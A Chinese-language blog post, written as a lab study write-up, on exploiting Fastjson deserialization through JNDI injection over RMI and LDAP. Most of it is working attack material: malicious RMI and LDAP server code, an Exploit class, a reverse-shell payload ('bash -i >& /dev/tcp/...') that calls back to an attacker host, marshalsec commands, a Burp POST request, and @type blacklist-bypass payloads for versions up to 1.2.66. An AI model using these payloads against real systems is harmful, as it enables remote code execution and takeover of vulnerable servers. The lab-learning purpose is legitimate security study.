fastjson漏洞利用学习

FastJson漏洞利用学习

前置知识

了解Fastjson反序列化漏洞我们还需要一些前置知识。好比如什么是JNDI,JNDI注入?

JNDI简介

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。

JNDI服务可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也就而已用JNDI来定位数据库服务或者以一个远程的java对象。

JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

JNDI是应用程序设计的API,JNDI可以根据名字动态加载数据,支持服务主要有一下几种:

DNS、LDAP、CORBA对象服务、RMI

JNDI结构

Java JDK里提供5个包,实现JNDI的功能,分别是

javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;

javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;

javax.naming.event:在命名目录服务器中请求事件通知;

javax.naming.ldap:提供LDAP支持;

javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

java.name.InitialContext

该类可以用来获取初始目录环境,使用lookup函数检索并获取远程对象

如果说uri可控,那访问的rmi服务端ip就可以改,我们伪造一个rmi服务端,绑定一些奇奇怪怪的类,那客户端就会访问并下载到这些个奇奇怪怪的类,执行类里的方法,然后就等着完蛋。当然这是后话。

下面看一下示例,如何简单写一个绑定rmi服务的客户端

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class test {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://192.168.92.150:9999/Exploit";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

javax.naming.Reference

该类可以实现对外部对象的引用,提供了JNDI中类的引用功能

import javax.naming.Reference;
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);

option1:Name :远程加载的类名

option2:Factory:加载类下需要实例化的类的名称

option3:FactoryLocation:url地址

这样就可以通过Reference类,实现对一个外部类对象的绑定

RMI服务端自己可以直接绑定远程对象之外,还可以通过上面这种方法来绑定

示例为http协议就是网站上的类,也可以是file协议、ftp协议

RMI绑定Reference之后,首先调用Referenceable.getReference()获取绑定对象的引用

当客户端lookup获取对应名字的时候,就会返回ReferenceWrapper类的代理文件

然后就会调用getReference()获取Reference

最终通过factory类将Reference转换为具体的对象实例

就会执行里面的方法

JNDI+RMI(利用JNDI InitialContext和Reference类配合进行注入)

server端:

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException, NamingException, RemoteException {
        String url = "http://192.168.92.150:8000";
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Exploit", "Exploit", url);
        ReferenceWrapper referenceWrapper;
        referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("obj",referenceWrapper);
        System.out.println("running");
    }
}

client端:

package com.example.springfastjson;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class client {



        public static void main(String[] args) throws Exception{
            try {
                Context ctx = new InitialContext();
                ctx.lookup("rmi://localhost:1099/obj");//该uri的目录视乎server端绑定的字段
            }
            catch (NamingException e) {
                e.printStackTrace();
            }
        }
    }


恶意类:

import java.lang.Runtime;
public class Exploit {
    public Exploit (){
        try{
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    public static void  main(String[] argv){
        Exploit e = new Exploit();
    }
}
javac Exploit.java

编译成class文件

实现步骤:

1、在服务端开启http服务,示例为8000端口,将恶意类放入该网站作为访问资源

2、然后将server的code放入server端启动,这里不麻烦就在本机的idea启动了

这样我们就伪造好rmi的服务并且将恶意类绑定好,返回 ReferenceWrapper 类,只待客户端来访问获取

3、在客户端启动client端的code,调用lookup,程序自动的加载访问服务端,在decodeObject 中将ReferenceWrapper 变为 Reference 类,然后远程加载并实例化我们的Factory类

最终的结果就是客户端的机子打开了计算器

这样就实现了一次完整的利用

但是,在实践时并不成功

image-20220831115858028

根据报错可以知道com.sun.jndi.rmi.object.trustURLCodebase的值是false

这是由于版本问题,我的版本刚好是jdk-8u-121

该注入实现的JDK版本要求:RMI < 8u121、LDAP < 8u191

JDK小于8u121的com.sun.jndi.rmi.object.trustURLCodebase的值会默认是True,漏洞利用就可以实现,这里为了不麻烦就不去安装一个JDK了

峰回路转

虽然rmi要求的JDK版本在这里不行,但是我们可以试一下LDAP的

因为LDAP服务在JNDI也是支持,并且LDAP绑定Reference远程加载Factory类不会受向上面com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase等属性的影响

JNDI+LDAP

记得现在pom文件加入下面标签,才能用该库里面的ldap功能实现

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.2.0</version>
</dependency>

server端:

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


public class server {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://192.168.92.150:8000/#Exploit"};//恶意类网址
        int port = 9999;//ldap服务监听端口

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

Client端:

package com.example.springfastjson;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class client {



        public static void main(String[] args) throws Exception{
            try {
                Context ctx = new InitialContext();
                ctx.lookup("ldap://localhost:9999/obj");
            }
            catch (NamingException e) {
                e.printStackTrace();
            }
        }
    }

恶意类还是那个恶意类

依次运行网站,server端ldap,client端ldap

在server端看到访问成功image-20220831151519959

image-20220831151427835

在client端看到计算器已经成功弹出

image-20220831144138729

总结:

既然ldap能实现漏洞利用的jdk版本要比rmi的多,那么以后留个心眼先搞ldap的利用

FastJson简介

fastjson是一个java语言编写的高性能功能完善的json解析库。被广泛应用在缓存序列化、协议交互、web输出、android客户端等多种场景。

fastjson可以解析json格式的字符串,支持将JavaBean序列化为json字符串,也可以将json字符串反序列化为JavaBean。json本身是不能识别数据类型的,而fastjson实现了这样的自省功能,可以将json数据通过调用函数进行反序列化生成一个对象,可以自动去调用类中方的set方法进行赋值。

简单FastJson搭建

fastjson-jar包获取

image-20220830165951792

然后跟着文章搭建即可

简单Spring+ Fastjson搭建

New Project

自命名SpringFastJson

选择jdk1.8

java 8

image-20220831012605969

勾选Spring Web

image-20220831012531910

等待部署完成

image-20220831020152752

之后我们创建一个User.class类,

package com.example.springfastjson;

public class User {
    private String name;

    private Integer age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Integer getAge() {
        return age;
    }

    public void setAge(Integer age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

再创建一个controller类

package com.example.springfastjson;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class controller {
    @GetMapping("/fastjson")
    public String test(){
        User user = new User();
        user.setName("zhangsan");
        user.setAge(18);
        String JsonString = JSON.toJSONString(user);
        return JsonString;
    }
}

大致如下:

image-20220831020757312

可以看到JSON报错

这是因为我们还没加入fastjson的jar包

而spring项目已经自带jar包我们无需自己手动下载添加

还需要做的就是在pom.xml填写加载fastjson_jar包的标签

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.4</version>
        </dependency>

保存后在maven控制框点击同步

image-20220831021337354

即可完成加载

随后便可在controller.java实现JSON的导入

import com.alibaba.fastjson.JSON;

接着就可以让程序跑起来了

image-20220831021747405

在本地8080端口访问即可得到的json字符串,就是controller类里的方法返回结果。

image-20220831021900593

Fastjson反序列化漏洞简介

了解了JNDI+rmi和JNDI+ldap两种注入方式

以及spring+fastjson的运作过程

再理解fastjson反序列化漏洞就不难了

漏洞原理(1.2.24)

fastjson 在解析json的过程中,支持使用 autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码相关的方法,即可构造出一些恶意利用链。

漏洞是利用fastjson autoType在处理json对象时,未对@type字段进行可靠的安全性验证,攻击者可以传入危险类,并调用危险类(JdbcRowSetImpl类)连接远程rmi或者ldap主机,通过其中的恶意类执行代码。

认识JdbcRowSetImpl类

通过在调试发现

JdbcRowSetImpl类的setAutoCommit()会调用connect()函数:

    public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

connect()函数如下

    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

可以看到函数中间,正是用到我们前面所认识的 InitialContext类

InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

connect()会调用InitialContext.lookup(dataSourceName),这里的参数dataSourceName是在setter方法setDataSourceName(String name)中设置的。

漏洞利用

所以在FastJson反序列化漏洞过程中,我们将@type设置为com.sun.rowset.JdbcRowSetImpl类,然后控制dataSourceName值为伪造rmi或者ldap服务的uri,然后fastjson执行到实例化JdbcRowSetImpl类后自动调用setAutoCommit()方法,然后接下去的流程就是我们前面介绍的JNDI注入。

构造出的json数据

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.92.150:9999/exploit",
        "autoCommit":true
    }
}

fastjson 1.2.24反序列化任意命令执行漏洞实验

漏洞编号:CVE-2017-18349

影响版本:fastjson < 1.2.25

该漏洞复现使用vulhub提供的靶机 ip:192.168.92.120

攻击机就kali一台 ip:192.168.92.150

靶机跑起来,看到jdk是1.8-102版本

root@cee33f7849a4:/# java -version
openjdk version "1.8.0_102"
OpenJDK Runtime Environment (build 1.8.0_102-8u102-b14.1-1~bpo8+1-b14)
OpenJDK 64-Bit Server VM (build 25.102-b14, mixed mode)

kali机直接写上恶意类,执行内容就直接写反弹shell

┌──(rootkali)-[~/fastjsonrce]
└─# cat exploit.java
import java.lang.Runtime;
import java.lang.Process;

public class exploit{
	static {
		try{
			Runtime rt = Runtime.getRuntime();
			String[] commands = 
			{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.92.150/1234 0>&1"};
				
			Process pc = rt.exec(commands);
			pc.waitFor();
		}catch (Exception e) {
			//do nothing
			}
	}
}

javac直接编译

┌──(rootkali)-[~/fastjsonrce]
└─# javac exploit.java          

网站直接开起来

┌──(rootkali)-[~/fastjsonrce]
└─# python3 -m http.server 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

kali机下载marshalsec项目

git clone https://github.com/mbechler/marshalsec.git

安装maven

apt-get install maven

maven编译marshalsec成jar包,先进入下载的marshalsec文件中

mvn clean package -DskipTests

生成的jar包就在target目录下

直接命令启动一个rmi服务(绑定的网址端口,类名不要填错),本机9999端口监听

┌──(rootkali)-[~/fastjsonrce/marshalsec/target]
└─# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.92.150:8000/#exploit" 9999                 
* Opening JRMP listener on 9999

接下来就开始攻击

开启kali机监听

┌──(rootkali)-[~/fastjsonrce]
└─# nc -lvp 1234  
listening on [any] 1234 ...

burp发送json数据,@type的值杯我们构造好了一段访问rmi服务的uri

其中注意请求包修改为post类型和json文本类型

POST / HTTP/1.1
Host: 192.168.92.120:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Connection: close
Content-Length: 162

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.92.150:9999/exploit",
        "autoCommit":true
    }
}

可以看到对rmi服务端进行了访问并且加载了类

image-20220831154939977

image-20220831155014336

然后就拿到反弹shell

image-20220831155042230

以上就是该漏洞实验的全过程,操作起来十分简单

那也可以试一下ldap利用

其他操作不变

只需将marshalsec启动成ldap服务就行

┌──(rootkali)-[~/fastjsonrce/marshalsec/target]
└─# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.92.150:8000/#exploit" 9999                  
Listening on 0.0.0.0:9999

将json数据的uri改成ldap协议即可

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.92.150:9999/exploit",
        "autoCommit":true
    }
}

image-20220831155505390

image-20220831155527492

照样拿shell

image-20220831155518636

fastjson 1.2.47反序列化任意命令执行漏洞实验

简介:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

影响版本:fastjson < 1.2.47

靶机:vulhub靶机 ip:192.168.92.120

攻击机:kali ip:192.168.92.150

开启靶机,jdk依旧是18.102

root@ubuntu20:~/vulhub/fastjson1.2.47# docker ps
CONTAINER ID   IMAGE                    COMMAND                  CREATED         STATUS         PORTS                                       NAMES
e783aa84f9b6   vulhub/fastjson:1.2.45   "java -Dserver.addre…"   2 minutes ago   Up 5 seconds   0.0.0.0:8090->8090/tcp, :::8090->8090/tcp   fastjson1247_web_1
root@ubuntu20:~/vulhub/fastjson1.2.47# docker exec -it e783aa84f9b6 /bin/bash
root@e783aa84f9b6:/# java -version
openjdk version "1.8.0_102"
OpenJDK Runtime Environment (build 1.8.0_102-8u102-b14.1-1~bpo8+1-b14)
OpenJDK 64-Bit Server VM (build 25.102-b14, mixed mode)

在kali开启恶意类的网站,开启rmi服务

其实一样,只不过paylaod发生了一小变化

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.92.150:9999/exploit",
        "autoCommit":true
    }
}

image-20220831161153717

开好监听,发送数据,成功拿到shell

image-20220831161216721

其他版本fastjson的漏洞利用

fastjson<=1.2.41

设置autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞。

com.sun.rowset.JdbcRowSetImpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}

fastjson<=1.2.42

在2.42的版本新增了校验机制,如果输入类名的开头和结尾是L和;就将头和尾去掉,再进行黑名单验证。

if ((((BASIC
    ^ className.charAt(0))
    * PRIME)
    ^ className.charAt(className.length() - 1))
    * PRIME == 0x9198507b5af98f0L)
{
    if ((((BASIC
        ^ className.charAt(0))
        * PRIME)
        ^ className.charAt(1))
        * PRIME == 0x9195c07b5af5345L)
    {
        throw new JSONException("autoType is not support. " + typeName);
    }
    // 9195c07b5af5345
    className = className.substring(1, className.length() - 1);
}
{
    "b":{
        "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
        "dataSourceName":"rmi://xx.x.xx.xx:9999/poc",
        "autoCommit":true
    }
}

fastjson <= 1.2.45

目标服务端存在mybatis的jar包

版本需为3.0.0.~3.5.0

autoTypeSupport属性为True才能使用(fastjson >= 1.2.25默认为false)

然后使用黑名单绕过,但是org.apache.ibatis.datasource在1.2.46版本中被加入了黑名单。

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}

fastjson <= 1.2.47

小于 1.2.48 版本的通杀,autoType为关闭状态也可以。

loadClass中默认cache设置为true。

首先使用java.lang.CLass把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetlmpl这个类,绕过黑名单机制。

{
"a": {
          "@type": "java.lang.Class",
          "val": "com.sun.rowset.JdbcRowSetImpl"
      },
      "b": {
          "@type": "com.sun.rowset.JdbcRowSetImpl",
          "dataSourceName": "rmi://x.x.x.x:1098/jndi",
          "autoCommit": true
} }

fastjson <= 1.2.62

黑名单绕过exp:

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

fastjson <= 1.2.66

autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://x.x.x.x:1389/Calc"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": 

{"@type":"java.util.Properties","UserTransacti
  on":"ldap://x.x.x.x:1389/Calc"
}}

总结

学到rmi和ldap两种JNDI注入的利用方式,简单的spring+fastjson的搭建

JNDI的注入姿势是fastjson反序列化漏洞利用执行命令的关键

不同版本的jdk会对rmi和ldap的利用产生影响

基于rmi的利用方式:适用jdk版本:JDK 6u132, JDK 7u131, JDK 8u121之前。

在jdk8u122的时候,加入了反序列化白名单的机制,关闭了rmi远程加载代码(trustURLCodebase=false)。

基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。

在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载(trustURLCodebase=false)。

fastjson不同版本的黑名单绕过漏洞利用

参考文章:

[Java安全之JNDI注入 - nice_0e3 - 博客园 (cnblogs.com)](https://www.cnblogs.com/nice0e3/p/13958047.html#:~:text= JNDI注入是Fastjson反序列化漏洞中的攻击手法之一。 JNDI (Java Naming and Directory Interface%2CJava命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口,API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。 目录服务是命名服务的一种自然扩展。 JNDI (Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。)

Fastjson漏洞复现笔记 - FreeBuf网络安全行业门户

渗透测试之地基服务篇:服务攻防之框架Fastjson(上) (qq.com)

渗透测试之地基服务篇:服务攻防之框架Fastjson(下) (qq.com)

(36条消息) Fastjson反序列化讲解_weixin_45597678的博客-CSDN博客_fastjson反序列化

posted @ 2022-09-01 11:18  DAMOXILAI  阅读(1253)  评论(0编辑  收藏  举报